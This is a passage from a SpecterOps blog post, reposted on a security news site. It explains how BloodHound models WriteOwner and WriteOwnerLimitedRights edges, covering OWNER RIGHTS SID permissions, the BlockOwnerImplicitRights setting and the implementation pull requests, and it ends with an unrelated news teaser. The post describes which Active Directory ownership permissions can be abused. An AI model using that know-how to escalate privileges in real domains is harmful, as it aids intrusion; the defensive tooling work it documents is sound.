Matt found that this was a bit more complex because ACEs defining permissions for the OWNER RIGHTS SID that are not inherited (i.e., are explicitly defined) are removed from objects when their owner changes.

As a result, we needed to check whether any ACE granted rights to the OWNER RIGHTS SID (S-1–3–4), whether such an ACE was inherited or explicitly defined, and whether it granted abusable permissions in order to correctly depict the WriteOwner edge. We also created a new edge called WriteOwnerLimitedRights that identifies specific abusable permissions granted to the OWNER RIGHTS SID.

We landed on this design for the WriteOwner and WriteOwnerLimitedRights edges, which are also in BloodHound since v7.1.0:

I picked up where Matt left off to implement these changes with a ton of help from Rohan Varzarkar (@CptJesus) and John Hopper, our Director of Engineering.

To process the outcome of each of these scenarios, we needed to compare the forest’s dSHeuristics attribute value to the ACEs on each domain object. Since we don’t know what order data will be uploaded to BloodHound in or whether it’s complete (e.g., only the computers.json or domains.json file is uploaded), that meant we had to add portions of the logic to post-processing, which is the phase that occurs after ingestion of all data during a single upload.

Other portions of the logic could be created during the ingestion phase itself, such as creating edges when the OWNER RIGHTS SID is explicitly granted abusable permissions, in which case we never need to look at the dSHeuristics attribute since implicit owner rights are never granted.

To make the change backwards-compatible with previous SharpHound and third-party collector versions and as lightweight as possible, we wanted to avoid collecting every single ACE (as opposed to only abusable ACEs like SharpHound had always done), but we also needed to know whether any non-abusable permissions were granted to the OWNER RIGHTS SID and whether any such permissions were inherited. As a result, we created two new boolean properties for each object, DoesAnyAceGrantOwnerRights and DoesAnyInheritedAceGrantOwnerRights.

While coding and wiring everything together, we had to account for several other complex scenarios. For example, when both explicitly defined, abusable permissions and inherited, non-abusable permissions are granted to the OWNER RIGHTS SID, the explicitly defined permissions are deleted on ownership change but the inherited ones are not, so the Owns ACE is abusable but WriteOwner ACEs are not. In other cases where explicitly defined, non-abusable permissions are granted to the OWNER RIGHTS SID, the Owns ACE is not abusable. However, those explicitly defined permissions are deleted on owner change, so WriteOwner ACEs could be abusable if the forest’s BlockOwnerImplicitRights attribute is not set or if it is set but the object is not a computer-derived type.

The good news is, BloodHound does all of this processing for you now!

These changes resulted in the following PRs:

• https://github.com/SpecterOps/BloodHound/pull/993
• https://github.com/SpecterOps/SharpHound/pull/124
• https://github.com/SpecterOps/SharpHoundCommon/pull/176

As well as an update to BHE.

The majority of the ingest and post-processing logic is implemented in these files:

• https://github.com/SpecterOps/BloodHound/blob/4dcd8074870c7b3e14fc1da220fe080acc2cce60/packages/go/ein/ad.go#L268
• https://github.com/SpecterOps/BloodHound/blob/main/packages/go/analysis/ad/owns.go

We learned that implementing these changes eliminated a ton of false positives from the graph for BloodHound users who block owner implicit rights. Users also get the OwnsLimitedRights and WriteOwnerLimitedRights edges “for free”, regardless of what collector they use, because these edges do not depend on collection of dSHeuristics or non-abusable OWNER RIGHTS ACEs.

In the diagrams below:

• Red edges are now recalculated and removed as false positives when using the new SharpHound collector and BloodHound release
• Green edges are reclassified as OwnsLimitedRights/WriteOwnerLimitedRights
• Blue edges are unchanged

BlockOwnerImplicitRights = 1: BlockOwnerImplicitRights = 0:

Thanks for reading! If you have any questions or feedback for this post, please reach out to me (@_Mayyhem) on Twitter or in the BloodHound Slack (@Mayyhem)!

Do You Own Your Permissions, or Do Your Permissions Own You? was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.

The post Do You Own Your Permissions, or Do Your Permissions Own You? appeared first on Security Boulevard.

Journalists aren’t usually invited to online chats about US war plans. This seemed obvious until yesterday, when Atlantic editor Jeffrey Goldberg published his article about being a lurker in an online chat with US Secretaries of State, Defense, and Treasury, plus the VP and the Director of National Intelligence. The plans led to a US […]

The post War Plan Chat Includes Journalist appeared first on Security Boulevard.